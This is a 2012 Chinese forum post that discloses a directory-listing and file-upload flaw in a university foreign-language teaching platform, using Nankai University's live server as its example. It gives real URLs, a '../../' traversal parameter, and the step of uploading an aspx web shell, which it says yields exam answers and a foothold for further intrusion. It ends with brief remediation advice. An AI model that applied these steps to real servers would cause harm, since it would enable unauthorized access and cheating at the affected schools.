找回密码
 立即注册
查看: 3049|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
7 h9 G' U& U* Y  W7 q! H+ c$ C( c$ R) L; U0 q( i( B% w
详细说明:% H# `9 w8 s6 a! V" h& b$ |
8 V* X: _; J! D3 C5 I
以南开大学的为例:
' \# G5 ^- s& E) j9 Vhttp://222.30.60.3/NPELS
1 S% N7 r/ q! {7 M' iNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址- ]( X* N7 ^3 ^& u4 N' ~
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
* {' N, F8 c4 p4 t' W/ g<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
, a2 d3 S4 M" j  N# o3 T</setting>/ F9 E) Z0 i, R1 Y5 e4 @/ R! W! H
及版本号8 q8 W  F- r0 k" B. K  z
<add key="TVersion" value="1, 0, 0, 2187">7 O4 w: r0 B! y& o
</add>' V6 ?7 v( C+ g0 G3 l
直接访问
3 w  ^' I  L7 _" D! p( phttp://222.30.60.3/NPELS/CommonService.asmx
) J* w5 Q) T$ T; i: n  n使用GetTestClientFileList操作,直接 HTTP GET 列目录:
! \" }0 E' E) W0 K3 C% lhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187! K& Q; d8 J2 p( N0 ]! {
进一步列目录(返回的网页很大,可以直接 wget 下来)
2 l! f: A( w# Z* Khttp://222.30.60.3/NPELS/CommonS ... List?version=../../4 n/ [4 z# y. |7 Z, n

1 V6 G  [6 @% O& Y发现
% v$ y. x* r4 U& _" Q1 ehttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
5 A7 H" ^6 k- |/ E0 ~; ^可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头, t: w4 q1 T9 w) V. R0 A
上传后继续列目录找到木马地址直接访问即可  Y8 z3 ?, c4 \8 j; c9 W2 s& P
6 v) ^% A' @, {: \% ?7 x* u
OOXX- S1 d7 a4 w+ P8 I, l- P9 @1 F/ }

, n1 r& c( H0 c, jGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法, H/ ?6 k  j  X
漏洞证明:  @% b: r& T' e& V& d

4 S3 j1 u6 c% R& o" H' p* E列目录:
6 {7 r! ?" I# i; h- U8 L3 o6 v2 r7 z: Shttp://222.30.60.3/NPELS/CommonS ... List?version=../../
5 L& b& q5 k$ `/ }* U文件上传:% o0 {# \8 m( [8 G
http://222.30.60.3/npelsv/editor/editor.htm- F1 ^' S; c" u- v* ]* l- N
! I+ b& Q" N+ P4 Q4 T. l/ @
上传木马:8 j3 z1 m# b. `# t4 }) s: f$ W/ Q
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx* K1 d9 A: D% U! V

$ R3 N1 ]! H. k" j修复方案:$ `# K# B, b- ~1 z% n4 K; s+ |$ `
好像考试系统必须使用 CommonService.asmx/ a( ]' k8 g0 @
最好配置文件加密或者用别的方式不让它泄露出来$ B( _  }8 X* N7 U
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​
% b( t2 X: T6 ?# G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表